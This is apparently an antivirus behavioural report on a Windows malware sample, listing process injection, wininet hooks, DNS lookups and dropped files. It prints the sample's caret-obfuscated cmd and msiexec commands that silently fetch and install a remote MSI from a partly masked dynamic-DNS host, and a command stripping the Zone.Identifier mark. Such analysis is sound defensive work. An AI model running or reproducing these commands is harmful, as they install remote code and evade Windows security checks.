Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c m^S^IE^Xe^c /i http://jx#.#uckdns.org/j/fs.msi /qn
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\wininit.exe
the following user processes:
- msid660.tmp
- iexplore.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
Modifies file system
Deletes the following files
- %WINDIR%\installer\msid660.tmp
Network activity
TCP
HTTP GET requests
- http://jx#.#uckdns.org/j/fs.msi
UDP
- DNS ASK jx#.#uckdns.org
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\installer\msid660.tmp' /S
- '%WINDIR%\installer\msid660.tmp'
- '<SYSTEM32>\cmd.exe' /c m^S^IE^Xe^c /i http://jx#.#uckdns.org/j/fs.msi /qn' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C type nul > "%WINDIR%\Installer\MSID660.tmp:Zone.Identifier"' (with hidden window)
Executes the following
- '<SYSTEM32>\msiexec.exe' /i http://jx#.#uckdns.org/j/fs.msi /qn
- '%WINDIR%\syswow64\cmd.exe' /C type nul > "%WINDIR%\Installer\MSID660.tmp:Zone.Identifier"
- '%WINDIR%\syswow64\wininit.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\Installer\MSID660.tmp"
